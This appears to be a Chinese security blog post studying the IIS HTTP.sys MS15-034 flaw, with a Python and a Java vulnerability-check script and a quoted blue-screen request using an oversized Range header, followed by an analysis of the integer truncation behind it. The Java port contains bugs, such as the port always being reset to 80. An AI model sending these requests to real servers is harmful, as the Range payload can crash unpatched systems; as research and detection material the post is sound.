零、MS15-034POC核心部分(参考巡风):

 socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"
s.send(flag)
data = s.recv(1024)
s.close()
if 'Requested Range Not Satisfiable' in data and 'Server: Microsoft' in data:
print "vuln"

由于最近想学习java,所以修改了一版java的代码:

 /*
* encoding:utf-8
* Author:chenran01;
* Email:crsecscu@gmail.com
*/ //import lib packages
import java.net.Socket;
import java.util.Scanner;
import java.io.*; //define main class
public class HTTPSYS{
public static String IP_ADDR = "127.0.0.1";
public static int PORT = 80;
public static String Flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
//Flag is the payload
public static void main(String[] args){
System.out.print("Please input target IP:");
Scanner input = new Scanner(System.in);
IP_ADDR = input.next();
System.out.print("Please input target port:");
try{
PORT = System.in.read();
}catch(Exception ex){
System.out.printf("Error-Reason:%s",ex.toString());
}finally{
PORT = 80;
}
try{
Socket socket = new Socket(IP_ADDR,PORT);
//创建socket
DataInputStream socketrecv = new DataInputStream(socket.getInputStream());
DataOutputStream socketsend = new DataOutputStream(socket.getOutputStream());
//创建输入输出对象
socketsend.writeUTF(Flag);//发送payload
String response_content = socketrecv.readUTF();//获取回显
if(response_content.indexOf("Server: Microsoft") != -1 && response_content.indexOf("Requested Range Not Satisfiable") != -1){
System.out.print("有漏洞");
}else{
System.out.print("没有漏洞");
}
}catch(Exception ex){
System.out.printf("Error-Reason:%s",ex.toString());
} }
}

一、MS15-034 HTTP.sys漏洞原理考证:

原理部分参考:http://www.ijiandao.com/safe/cto/12821.html

 #举例:蓝屏POC
"""
GET /welcome.png HTTP/1.1
Host: PoC
Range: bytes=12345-18446744073709551615
"""

这个地方的Range字段在IIS内部HTTP!UlBuildFastRangeCacheMdlChain(用于生成响应报文的缓存MDL链,来描述HTTP响应的状态行、头部与消息体。)这个函数中会调用一次nt! IoBuildPartialMdl函数来生成MDL链。这这个函数里,会计算length这个值:

注意这里明确要求了由VirtualAddress与Length确定的区间必须是SourceMdl描述的缓冲区的一个自区间,正是对此要求的违反导致了此漏洞中的内存破坏。

第3次调用nt! IoBuildPartialMdl来生成消息体MDL时的参数如下:

SourceMdl = 0xfffffa801a38cb60
SourceMdl.VirtualAddress = 0xfffffa801ac94000
SourceMdl.ByteCount = 0x2d315
SourceMdl.ByteOffset = 0x0
TargetMdl = 0xfffffa801a2ed580
TargetMdl.VirtualAddress = 0xfffffa801ac97000
TargetMdl.ByteCount = 0xffffcfc7
TargetMdl.ByteOffset = 0x39
VirtualAddress = 0xfffffa801ac97039
Length = 0xffffcfc7

这里的Length是根据HTTP请求消息头部中的Range字段计算得到的,过程如下:

首先,在HTTP!UlpParseRange中对Range字段进行解析,得到RangeBegin、RangeEnd;
然后,计算RangeLength = RangeEnd – RangeBegin + 1;
最后,将RangeLength截断为32位得到Length。
以PoC中的Range: bytes=12345-18446744073709551615为例:
RangeBegin = 12345 = 0x3039
RangeEnd = 18446744073709551615 = 0xffffffffffffffff
RangeLength = 0xffffffffffffffff – 0x00003039 + 1 = 0xffffffffffffcfc7
Length = 0xffffcfc7
显然由于Length超长而导致违反了nt! IoBuildPartialMdl的要求,进而造成内存破坏。

微软 IIS HTTP.sys漏洞原理学习以及POC的更多相关文章

  1. IIS短文件名漏洞原理与挖掘思路

    首先来几个网址先了解一下 https://www.jb51.net/article/166405.htm https://www.freebuf.com/articles/web/172561.htm ...

  2. CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

    1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...

  3. IIS原理学习

    IIS 原理学习 首先声明以下内容是我在网上搜索后整理的,在此只是进行记录,以备往后查阅只用. IIS 5.x介绍 IIS 5.x一个显著的特征就是Web Server和真正的ASP.NET Appl ...

  4. IIS写权限漏洞和XFF刷票原理

    IIS写权限漏洞 PUT写入漏洞 此漏洞主要是因为服务器开启了webdav的组件导致的 1.扫描漏洞,yes,可以PUT: 2.用老兵的工具上传一句话文件test.txt,然后move改名为shell ...

  5. SSH用户枚举漏洞(CVE-2018-15473)原理学习

    一.漏洞简介 1.漏洞编号和类型 CVE-2018-15473 SSH 用户名(USERNAME)暴力枚举漏洞 2.漏洞影响范围 OpenSSH 7.7及其以前版本 3.漏洞利用方式 由于SSH本身的 ...

  6. IIS的Unicode漏洞攻击

    IIS有十多种常见漏洞,但利用得最多的莫过于Unicode解析错误漏洞.微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令.当IIS打开文件 ...

  7. CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0

    关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...

  8. HTTP.sys漏洞验证及防护

    使用发包工具构造http请求包检测 以fiddler工具为例,构造如下图的请求包: 1 GET http://192.168.174.145/ HTTP/1.12 Host: 192.168.174. ...

  9. 利用URLScan工具过滤URL中的特殊字符(仅针对IIS6)-- 解决IIS短文件名漏洞

    IIS短文件名漏洞在windows服务器上面非常常见,也就是利用“~”字符猜解暴露短文件/文件夹名,比如,采用这种方式构造URL:http://aaa.com/abc~1/.aspx,根据IIS返回的 ...

随机推荐

  1. linux中mysql表名默认区分大小写导致表找不到的问题

    天将window的项目迁移到linux上面,然后登录时一直报用户表找不到的错误信息. 检查发现数据库中的表名是m_user, 后来才想起来是大小写问题, 找到问题原因,解决方案如下: 修改/etc/m ...

  2. 推断iframe里的页面载入完毕

    //推断iframe是否载入完毕,RMid为iframe的ID document.getElementById("RMid").onload = function () { ale ...

  3. EMS快递单号生成算法

    <?php function emsnum($ems, $num) { $fri = substr($ems, 2, 8); $head = substr($ems, 0, 2); $tail ...

  4. 关于Cocos Studio制作游戏资源

    没想到,Cocos Studio居然是做游戏资源的,而且可以做骨骼动画,虽然我还不会做,只能自己一个人慢慢研究了.学长以前说,Coocs Studio只是用来打包项目成Apk的,没有什么卵用,刚开始我 ...

  5. 【转】Hibernate系列学习之(二) 多对一、一对一、一对多、多对多的配置方法

    hihernate一对多关联映射(单向Classes----->Student) 一对多关联映射利用了多对一关联映射原理 多对一关联映射:在多的一端加入一个外键指向一的一端,它维护的关系是多指向 ...

  6. Spring in Action 4th 学习笔记 之 AOP

    前提:本文中的AOP仅限于Spring AOP. 先说说为什么需要AOP 最简单的一个例子就是日志记录,如果想记录一些方法的执行情况,最笨的办法就是修改每一个需要记录的方法.但这,真的很笨... 好的 ...

  7. int、long、longlong、float、double、long double的范围

  8. DB2多行转一行【XML方式】

    分组然后合并,然后去除XML标签 SELECT replace(replace(replace(xml2clob(xmlagg(xmlelement(name A, [字段]))),'</A&g ...

  9. SQL-字符串连接聚合函数

    原文:http://blog.csdn.net/java85140031/article/details/6820699 问题: userId  role_name         role_id 1 ...

  10. MBR和GPT分区表

    https://www.reneelab.com.cn/m/mbr-gpt-difference.html